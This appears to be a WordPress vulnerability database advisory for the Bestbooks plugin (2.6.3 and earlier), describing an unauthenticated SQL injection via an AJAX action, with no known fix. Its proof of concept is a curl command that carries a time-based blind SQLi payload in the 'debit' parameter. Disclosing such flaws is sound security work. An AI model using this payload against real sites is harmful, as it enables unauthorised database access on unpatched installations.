WordPress Plugin Vulnerabilities

Bestbooks <= 2.6.3 - Unauthenticated SQLi

Description

The plugin does not sanitise and escape some parameters before using them in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users

Proof of Concept

Affected parameters: credit and debit

curl https://example.com/wp-admin/admin-ajax.php \
    --data 'action=bestbooks_add_transaction&type=x&account=x&date=x&description=3&debit=(CASE WHEN (9277=9277) THEN SLEEP(5) ELSE 9277 END)&credit=1'

Affects Plugins

No known fix

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-05-17 (about 1 years ago)
Added
2022-05-17 (about 1 years ago)
Last Updated
2022-05-18 (about 1 years ago)

Other